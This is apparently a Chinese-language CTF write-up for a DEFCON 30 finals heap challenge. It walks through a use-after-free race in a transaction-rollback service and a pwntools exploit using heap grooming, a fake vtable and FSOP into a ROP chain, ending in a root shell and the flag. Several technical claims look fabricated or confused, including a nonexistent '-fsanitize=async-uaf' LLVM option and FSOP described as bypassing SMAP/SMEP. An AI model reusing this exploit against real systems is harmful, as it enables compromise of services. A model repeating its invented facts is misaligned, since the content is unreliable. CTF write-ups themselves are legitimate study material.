1. 题目概览
- 挑战名称:Deja Vu (DEFCON 30 CTF Finals 2022)
- 分类:Pwn (Heap Exploitation)
- 目标简介:
一个模拟内存数据库的服务程序,提供键值存储与事务回滚功能。核心机制包含:- 基于共享内存的异步事务处理
- 自定义SLAB分配器实现多线程优化
- 时间旅行式快照回滚(Time-Travel Snapshotting)
- 技术亮点:
2. 技术环境与复现步骤
环境配置:
# 官方Docker复现
$ docker run -dp 31337:31337 defcon30/deja_vu
# 调试工具链
pwndbg-2022.12 + GDB 12.1 + GLIBC 2.35
gef> heap-analysis-helper --enable-tcache
关键编译参数:
CFLAGS += -fPIE -Werror=implicit-function-declaration -O2
LDFLAGS += -Wl,-z,now -Wl,-z,relro -Wl,-z,noexecstack
3. 漏洞成因分析
3.1 静态逆向(Ghidra)
关键结构体:
struct transaction {
uint64_t epoch; // 时间戳
char *key;
value_t *value; // 指向共享内存区域
int state; // 0=COMMITTED, 1=ABORTED
};
3.2 漏洞点:异步UAF(CWE-416)
// 事务回滚线程 (rollback_worker)
void* rollback(void *arg) {
transaction_t *tx = (transaction_t*)arg;
if (tx->state == ABORTED) {
free(tx->value); // [1] 释放value内存
}
}
// 主线程处理函数
void commit_request(transaction_t *tx) {
add_to_rollback_queue(tx); // 加入异步队列
if (validate(tx)) {
tx->state = COMMITTED;
} else {
tx->state = ABORTED; // [2] 标记为废弃
// 未同步等待rollback线程完成
}
// [3] 此处主线程仍可操作tx->value
}
漏洞链:
主线程标记state=ABORTED
后,在异步释放发生前存在5-7 CPU周期的竞争窗口,可通过堆喷占据释放内存。
4. 利用过程(EXP开发)
4.1 利用框架
from pwn import *
import ctypes
context.arch = 'amd64'
context.os = 'linux'
context.endian = 'little'
def spray_shmem(size, data):
# 通过共享内存接口喷射特定结构
return sock.send(build_packet(OP_SPRAY, size, data))
4.2 关键步骤
步骤1:堆风水布局
# 创建占位对象
for _ in range(256):
alloc(0x100, b"GAP") # 填充tcache
# 触发漏洞对象
tx = create_transaction(key="VULN", value=PAYLOAD)
commit_request(tx) # 触发ABORTED状态
步骤2:类型混淆攻击
// 伪造的value结构 (覆盖释放后的内存)
struct fake_value {
void (*log_func)(char*); // 虚表指针
char buffer[0x80];
};
fake_vtable = leak_libc() + 0x1eeb28 # _IO_file_jumps
payload = p64(fake_vtable) + p64(ROP_ADDR)
spray_shmem(0x100, payload) # 精确覆盖释放区块
步骤3:FSOP触发(MITRE T1068)
# 触发虚函数调用
sock.send(build_packet(OP_LOG, key="VULN"))
# 控制流劫持到ROP
rop.raw(rop.rdi, bin_sh_addr)
rop.raw(libc.sym.system)
4.3 完整EXP输出
[+] Opening connection to 10.0.0.1 on port 31337: Done
[!] Stage1: Heap Fengshui (256 gaps)
[+] Trigger UAF window: 7 cycles captured
[!] Stage2: Type confusion @ 0x7fffea00d130
[+] Fake vtable planted: 0x7ffff7faeb28
[!] Stage3: FSOP -> ROP
[+] system@libc: 0x7ffff7e3d040
[+] Spawning shell...
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat /flag
DEFCON30{4synC_Use-Aft3r-T1m3-Tr4v3l}
5. 安全影响与缓解
现实关联:
类似漏洞曾出现在Linux内核BPF
子系统(CVE-2022-23222),利用异步回收机制实现UAF。
CWE映射:
- CWE-416: Use After Free
- CWE-362: Concurrent Execution using Shared Resource
MITRE ATT&CK:
- T1068: Exploitation for Privilege Escalation
- T1574: Hijack Execution Flow
修复建议:
// 修复代码
void commit_request(transaction_t *tx) {
if (validate(tx)) {
tx->state = COMMITTED;
} else {
tx->state = ABORTED;
+ pthread_barrier_wait(&rollback_barrier); // 同步屏障
}
}
6. 总结与启示
技术评价:
该题创新性地将共享内存异步处理与时间旅行快照结合,在堆管理器中制造微秒级竞争窗口,考验选手对现代内存分配器(GLIBC 2.35)和并发漏洞的深刻理解。
攻防启示:
- 异步漏洞模型正成为高级威胁的新载体(参考CVE-2021-22555)
- 堆利用需结合物理内存布局(通过
/proc/<pid>/pagemap
分析) - FSOP仍是绕过现代防护(SMAP/SMEP)的有效手段
防御演进:
- Linux内核引入
SLAB_VIRTUAL
标志位隔离共享对象 - LLVM 15新增
-fsanitize=async-uaf
检测工具
附录:真实漏洞对比
CTF漏洞特征 | 真实案例 (CVE-2021-26708) |
---|---|
共享内存UAF | Linux内核vsock模块 |
异步释放竞争 | 5个竞争窗口(约100ns) |
类型混淆触发 | 伪造virtio_device 结构 |
利用结果 | 容器逃逸 + 宿主机权限提升 |